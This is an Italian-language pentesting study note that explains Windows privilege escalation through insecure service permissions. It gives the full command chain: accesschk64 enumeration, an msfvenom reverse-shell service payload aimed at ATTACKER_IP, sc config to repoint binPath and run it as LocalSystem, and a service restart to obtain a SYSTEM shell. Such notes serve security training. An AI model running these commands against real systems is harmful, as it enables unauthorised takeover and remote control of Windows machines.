tags: permessi_insicuri accesschk64


Vulnerabilità di Insecure Service Permissions

Questa vulnerabilità si verifica quando un utente non amministratore ha permessi di modifica su un servizio. I permessi non si riferiscono all’eseguibile del servizio (come nelle vulnerabilità precedenti), ma ai permessi del servizio stesso. In altre parole, puoi modificare la configurazione del servizio e far eseguire un tuo payload o script malevolo.

Come funziona:

  1. Accesso ai permessi del servizio:

    • Ogni servizio ha una configurazione che include informazioni su:
      • L’eseguibile che esegue.
      • L’utente con cui viene eseguito.
      • Altre opzioni come se il servizio deve partire automaticamente o manualmente.
    • Se un utente ha i permessi SERVICE_ALL_ACCESS o comunque permessi sufficienti sul servizio stesso, può modificare la configurazione del servizio.
  2. Individuazione della vulnerabilità:

    • Per capire se il servizio è vulnerabile, puoi usare strumenti come AccessChk (di Sysinternals).
    • Esempio di comando:
accesschk64.exe -qlc NomeServizio

Questo comando ti dirà quali gruppi o utenti hanno permessi sui servizi. Se vedi che il gruppo BUILTIN\Users (che include utenti non amministratori) ha SERVICE_ALL_ACCESS, significa che gli utenti possono modificare la configurazione del servizio.

  1. Esecuzione di un attacco:

    • Una volta confermato che hai permessi sufficienti sul servizio, puoi modificare l’eseguibile che il servizio esegue o cambiare l’utente con cui il servizio viene eseguito. Ad esempio, puoi configurare il servizio per eseguire il tuo payload o script malevolo con privilegi di SYSTEM.

Passi pratici per sfruttare la vulnerabilità:

  1. Verifica i permessi con AccessChk:

    accesschk64.exe -qlc NomeServizio
    
   Cerca i permessi **SERVICE_ALL_ACCESS** sul gruppo **Users** o sull'utente in cui ti trovi.
    
2. **Genera un payload** con **msfvenom**:
    
    - Esempio:
        
```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f exe-service -o rev-svc3.exe
  1. Modifica la configurazione del servizio:

    • Usa sc.exe per cambiare il percorso dell’eseguibile del servizio e far eseguire il tuo payload:

      sc config NomeServizio binPath= "C:\Path\Al\Tuo\Payload.exe" obj= LocalSystem

    • Il comando obj= LocalSystem fa eseguire il servizio come SYSTEM, dandoti massimi privilegi.

  2. Riavvia il servizio:

    • Per far eseguire il tuo payload, devi riavviare il servizio:

      sc stop NomeServizio sc start NomeServizio

  3. Ottieni la shell:

    • Quando il servizio si riavvia, il tuo payload verrà eseguito e dovresti ottenere una shell con privilegi elevati.
  • Vulnerabilità: Un utente non amministratore ha permessi di modifica sui servizi (non sull’eseguibile).
  • Attacco: Modifichi la configurazione del servizio per eseguire il tuo payload o per farlo girare come SYSTEM.
  • Strumenti: Usa AccessChk per verificare i permessi, poi sc.exe per modificare il servizio.